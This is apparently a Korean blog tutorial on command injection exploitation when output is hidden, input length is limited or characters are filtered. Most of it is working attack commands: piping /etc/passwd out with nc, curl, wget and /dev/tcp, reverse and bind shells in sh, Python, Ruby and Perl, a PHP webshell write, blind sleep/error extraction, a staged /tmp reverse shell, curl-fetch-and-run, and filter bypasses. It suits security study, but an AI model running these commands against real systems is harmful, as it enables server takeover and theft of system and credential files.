- Command Injection은 다른 취약점에 비해서 손쉽게 공격할 수 있을 뿐만 아니라 서버 내에서 명령어를 실행할 수 있어 파급력이 매우 큰 취약점으로 분류된다.
- 실제 애플리케이션에서는 다뤄본 예제와 다르게 익스플로잇에 있어 갖은 제한 사항들이 있을 수 있다.
- 예를 들어, 입력할 수 있는 값의 길이가 정해져 있거나 명령어 실행 결과가 이용자에게 보여지지 않고 내부에서 처리되는 상황이 있다.
1. 실행 결과를 확인할 수 없는 환경
1) 네트워크의 인/아웃 바운드의 제한이 없을 때 사용할 수 있는 방법
(1) Network Outbound :
삽입할 명령줄에 네트워크 도구를 함께 실행해 자신의 서버에 명령어 실행 결과를 전송한다.
이는 네트워크 도구를 서버에 설치할 수 있거나 설치되었을 때 사용 가능한 방법이다.
1) nc (netcat)
- nc는 TCP 또는 UDP 프로토콜을 사용하는 네트워크에서 데이터를 송신하거나 수신하는 프로그램이다.
- 셸에서 제공하는 파이프('|')와 함께 해당 프로그램을 사용하면 앞서 실행한 명령어의 결과를 네트워크로 전송한다.
cat /etc/passwd | nc 127.0.0.1 8000
2) telnet
- telnet은 네트워크 연결에 사용되는 프로토콜로 클라이언트를 설치해 네트워크에 연결을 시도할 수 있다.
- 앞서 알아본 nc와 같이 파이프와 함께 명령어의 결과를 네트워크로 전송할 수 있다.
cat /etc/passwd | telnet 127.0.0.1 8000
3) CURL/WGET
- curl과 wget은 모두 웹 서버의 컨텐츠를 가져오는 프로그램이다.
- 웹 서버에서 컨텐츠를 가져오기 위해서는 웹 서버에 방문을 해야하기 때문에 서버에서는 접속 로그가 남게 된다.
- 이 특징을 이용해 명령어의 실행 결과를 웹 서버의 경로 또는 Body와 같은 영역에 포함해 전송합니다.
- 명령어를 살펴보면 로컬 웹 서버의 파라미터로 디렉터리 목록의 결과를 base64 인코딩하여 전달하는 것을 볼 수 있다.
명령어 실행 결과에는 개행이 있을 수 있기 때문에 인코딩을 통해 개행을 제거한다.
curl "http://127.0.0.1:8080/?$(ls -al|base64 -w0)"
- 아래는 명령어의 실행 결과를 POST Body에 포함해 요청을 보내는 명령어이다.
curl http://127.0.0.1:8080/ -d "$(ls -al)"
wget http://127.0.0.1:8080 --method=POST --body-data="`ls -al`"
4) /dev/tcp & /dev/udp
- Bash에서 지원하는 기능으로 아래와 같이 "/dev/tcp" 장치 경로의 하위 디렉터리로 IP 주소와 포트 번호를 입력하면
Bash는 해당 경로로 네트워크 연결을 시도한다. 따라서 "/etc/passwd"의 파일 내용이 로컬의 8080 포트로 전송된다.
cat /etc/passwd > /dev/tcp/127.0.0.1/8080
(2) Reverse Shell &. Bind Shell :
임의로 실행할 명령어를 네트워크를 통해 입력하고, 실행 결과를 출력해 공격하는 기법이다.
리버스 셸(Reverse Shell)은 공격 대상 서버에서 공격자의 서버로 셸을 연결하는 것을 말한다.
바인드 셸(Bind Shell)은 공격 대상 서버에서 특정 포트를 열어 셸을 서비스하는 것을 의미한다.
1. sh & Bash을 이용한 리버스 셸
- 경로에 입력한 IP 주소를 가진 서버에서 8080 포트를 열고 기다린 후 아래 명령어를 실행하면 셸을 획득할 수 있다.
(1) 공격 대상 서버:
/bin/sh -i >& /dev/tcp/127.0.0.1/8080 0>&1
/bin/sh -i >& /dev/udp/127.0.0.1/8080 0>&1
(2) 공격자 서버:
$ nc -l -p 8080 -k -v
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 42202)
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
2. 언어를 이용한 리버스 셸
- 파이썬 또는 루비는 명령줄에서 코드를 작성해 실행할 수 있다.
- 공격자는 명령줄에서 소켓을 사용해 리버스 셸 공격이 가능하다.
(1) python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(2) ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
3. Bind Shell
(1) nc (netcat)
- nc는 버전에 따라 특정 포트에 임의 서비스를 등록할 수 있도록 "-e" 옵션을 제공한다.
nc -nlvp 8080 -e /bin/sh
ncat -nlvp 8080 -e /bin/sh
(2) 언어 사용
펄(Perl) 스크립트를 작성해서 특정 포트를 셸과 함께 바인딩할 수 있다.
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
(3) 파일 생성 :
애플리케이션 상에서 직접 확인할 수 있는 파일 시스템 경로에 명령어의 실행 결과를 저장한 파일을 생성하는 방법이 있다.
예를 들어, 애플리케이션에서 이미지 파일을 "/img" 디렉터리 내에 저장한다면 명령어의 실행 결과를 "/img/result.jpg"로 저장하고 해당 경로에 접속해 명령어 실행 결과를 확인한다.
1. Script Engine
- 웹 서버는 지정된 경로에 존재하는 파일을 브라우저에 표시한다.
- 만약 커맨드 인젝션 취약점이 발생하고, 웹 서버가 지정한 경로를 알고 있다면
해당 위치에 셸을 실행하는 웹셸(Webshell) 파일을 업로드하고,
해당 페이지에 접속해 셸을 실행하고 실행 결과를 확인할 수 있다.
- PHP 외에도 JSP, ASP 등 웹 서버가 해석 가능한 파일을 만들어 접근할 수 있다.
printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php
2. Static File Directory
- 프레임워크 또는 웹 애플리케이션에서는 JS/CSS/Img 등 정적 리소스를 다루기 위해 Static File Directory를 사용한다.
- 해당 디렉터리에 실행한 명령어의 결과를 파일로 생성하고, 해당 파일에 접근해 결과를 확인할 수 있다.
- 대표적인 예시로 파이썬의 Flask 프레임워크 기본 설정에서는 Static File Directory의 이름이 static으로 설정되어 있다.
- 만약 해당 디렉터리를 사용하지 않는 환경이더라도 static 디렉터리를 생성하는 명령어를 실행하고 파일을 생성하면 된다.
- 이때 프레임워크가 동작하는 디렉터리에 파일 생성 권한이 없다면 해당 방법을 이용한 공격은 불가능하다.
mkdir static; id > static/result.txt
2) 네트워크의 인/아웃 바운드의 제한이 있을 때 사용할 수 있는 방법
- 위 방법들은 네트워크의 인/아웃 바운드의 제한이 없을 때 사용할 수 있는 방법이다.
- 만약 공격 대상 서버에서 네트워크 방화벽 규칙을 설정해 인/아웃 바운드에 제한이 걸려 있다면 리버스 셸과 바인드 셸을 이용한 공격은 불가능할 수 있다.
- 이러한 상황에서는 참/거짓 비교문으로 데이터를 알아내야 합니다.
(1) 지연 시간(sleep)
- 비교하는 값이 참일 경우에 sleep 명령어를 실행해 지연 시간을 발생시킨다.
- 공격자는 웹 애플리케이션에서 반환하는 속도를 통해 데이터를 획득할 수 있다.
- 명령어의 결과를 base64로 인코딩한 값을 대상으로 한 바이트씩 비교하여 참/거짓을 통해 데이터를 알아낸다.
- 아래는 id 명령어의 실행 결과를 base64로 인코딩한 결과이다. 인코딩하여 나온 값을 한 바이트씩 비교하는 스크립트를 작성해야 한다.
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ id | base64 -w 0
dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK
- 아래는 데이터를 비교하는 Bash 스크립트이다.
- 참이면 sleep 명령어를 실행하고, 아니라면 스크립트를 종료해 지연 시간 발생 여부로 데이터를 알아낼 수 있다.
bash -c "a=\$(id | base64 -w 0); if [ \${a:0:1} == 'd' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
bash -c "a=\$(id | base64 -w 0); if [ \${a:1:1} == 'W' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'a' ]; then sleep 2; fi;" # --> sleep for 0 seconds; false
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'l' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
(2) 에러(DoS)
- 비교하는 값이 참일 경우에 시스템 에러를 발생시킨다.
- 공격자는 Internal Server Error (HTTP 500) 반환 여부를 통해 데이터를 획득할 수 있다.
- 앞서 sleep 명령어와 같이 시간을 지연시키는 방법이 불가능하거나 지연을 확인하기 어려운 경우에 사용할 수 있는 방법이다.
- 이 또한 한 바이트씩 비교하는 스크립트를 작성하고, sleep 명령어가 아닌 메모리를 많이 소모하는 명령어를 입력하는 등의 행위로 Internal Server Error를 발생시켜 참/거짓을 판별한다.
- 메모리를 소모하는 방법은 다양하지만, 제일 간단한 방법으로는 cat /dev/urandom 명령어를 실행하면 된다.
bash -c "a=\$(id | base64 -w 0); if [ \${a:0:1} == 'd' ]; then cat /dev/urandom; fi;" # --> 500 true
bash -c "a=\$(id | base64 -w 0); if [ \${a:1:1} == 'W' ]; then cat /dev/urandom; fi;" # --> 500 true
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'a' ]; then cat /dev/urandom; fi;" # --> 200 false
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'l' ]; then cat /dev/urandom; fi;" # --> 500 true
2. 입력 값의 길이가 제한된 환경
- 애플리케이션은 특정 기능을 수행할 때 필요한 데이터만 받고, 처리하는 것이 좋다.
- 예를 들어, 서버의 네트워크 상태를 판별하는 기능에서는 IP 주소와 도메인 외에는 처리할 필요가 없다.
- 도메인의 길이는 예측이 불가능하지만 IP 주소는 정해져 있다.
- IPv4 기준으로, xxx.xxx.xxx.xxx, 즉 16바이트 이상의 값을 입력받을 필요가 없다.
- 애플리케이션에서 15바이트 이하의 데이터만을 처리한다면 공격에 제약 사항이 생길 수 밖에 없다.
- 이처럼 입력 길이가 제한된 상황에서 셸의 기능인 리다이렉션 (Redirection)을 이용해 임의 디렉터리에 파일을 생성하고,
Bash 또는 파이썬과 같은 인터프리터를 이용해 실행할 수 있다.
- 위는 입력 길이가 제한된 상황에서 공격자의 서버와 연결을 맺는 방법이다.
- "/tmp" 디렉터리는 누구나 읽고 쓸 수 있는 권한이 존재하기 때문에 해당 위치에 "1"이라는 파일을 생성하고, "bash</dev/tcp/127.0.0.1/1234" 문자열을 삽입한다.
- 이후 "bash</tmp/1&" 명령어를 실행하면 앞서 생성한 파일을 Bash를 통해 실행한다.
- 명령어 중 숫자가 포함된 경우 Bash에서 파일 디스크립터로 인식할 수 있기 때문에 띄어쓰기를 삽입해야 한다.
printf bas>/tmp/1
printf h>>/tmp/1
printf \<>>/tmp/1
printf /d>>/tmp/1
printf ev>>/tmp/1
printf /t>>/tmp/1
printf cp>>/tmp/1
printf />>/tmp/1
printf 1 >>/tmp/1
printf 2 >>/tmp/1
printf 7.>>/tmp/1
printf 0.>>/tmp/1
printf 0.>>/tmp/1
printf 1/>>/tmp/1
printf 1 >>/tmp/1
printf 2 >>/tmp/1
printf 3 >>/tmp/1
printf 4 >>/tmp/1
bash</tmp/1&
- IP 주소의 길이를 짧게 하기 위한 방법으로는 짧은 길이의 도메인을 사용하거나, IP 형식을 long 자료형 형식으로 변환하는 것이다.
- long 형식으로 변환된 IP 주소는 다양한 애플리케이션에서도 해석이 가능하며 이를 이용해 기능도 정상적으로 수행할 수 있다.
- IP 주소를 변환하는 방법은 다음과 같다.
#!/usr/bin/python3
import ipaddress
int(ipaddress.IPv4Address("192.168.0.13")) # 3232235533
- 네트워크 도구를 이용한 리버스 셸 공격이 가능하다.
- curl 또는 wget은 앞서 변환된 long 형식의 IP 주소를 해석한다.
- 공격 대상 서버에서 curl을 통해 공격자 웹 서버에 리버스 셸을 실행하는 스크립트를 받아오고, 이를 실행하면 셸을 획득할 수 있다.
- 아래와 같이 공격자 웹 서버에 리버스 셸을 실행하는 스크립트를 미리 업로드한다.
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("127.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
- 이후 아래처럼 공격 대상 서버에서 curl을 실행하되, 공격자 서버의 IP를 long 형식으로 변환한 값을 인자로 전달한다.
- 두 과정을 모두 마치면, 공격자 서버에서 미리 열어둔 포트에서 공격 대상 서버에 명령어를 전송할 수 있다.
curl 2130706433|sh$(curl 2130706433)`curl 2130706433`
3. 입력 값이 제한된 환경
- Command Injection 취약점이 발생해도 입력 값에 특수 문자를 삽입하지 못할 경우에는 익스플로잇이 불가능할 수 있다.
- 이처럼 특수 문자를 사용하지 못할 때에는 셸에서 제공하는 기능이나 환경 변수를 이용해 우회할 수 있다.
1) 공백 문자 우회
- 애플리케이션에서 공백 문자를 필터링 할 경우 아래와 같은 방법으로 우회할 수 있다.
(IFS(Internal Field Separator)는 환경변수로, 문자열을 나눌 때 기준이 되는 문자를 정의한다. 기본 값은 공백, 탭, 개행 순이기 때문에 Command Injection에서 공백을 우회하는데 자주 사용된다.)
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
X=$'\x20';cat${X}/etc/passwd
X=$'\040';cat${X}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
2) 키워드 필터링 우회
- "cat" 문자열을 필터링 할 경우 아래와 같은 방법으로 우회할 수 있다.
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
c''a""t /etc/passwd
\c\a\t /etc/passwd
c${invalid_variable}a${XX}t /etc/passwd
- "id" 문자열을 필터링 할 경우 아래와 같은 방법으로 우회할 수 있다.
echo -e "\x69\x64" | sh
echo $'\151\144'| sh
X=$'\x69\x64'; sh -c $X
- "/etc/passwd" 문자열을 필터링 할 경우 아래와 같은 방법으로 우회할 수 있다.
- xxd : 주어진 파일이나 standart input으로 들어온 문자들에 대해서 hex dump(컴퓨터 데이터의 16진법적인 보임새)를 만들어 준다.
Endian에 관계 없이 파일에 존재하는 순서대로 나온다.
- 2f6574632f706173737764 : 아스키 코드로 "/etc/passwd" 문자열 우회
cat `xxd -r -p <<< 2f6574632f706173737764`
◆ 참조 링크
- <<< 설명
'프로그래밍 > 해킹' 카테고리의 다른 글
Command Injection for Windows (1) | 2024.07.05 |
---|---|
Shell Code 앞에 붙는 접두사에 대한 고찰. (0) | 2024.07.04 |
phpMyRedis (0) | 2024.07.03 |
CouchDB & 관련 공격 (0) | 2024.07.03 |
Redis 중복 키 사용 관련 공격 (0) | 2024.07.03 |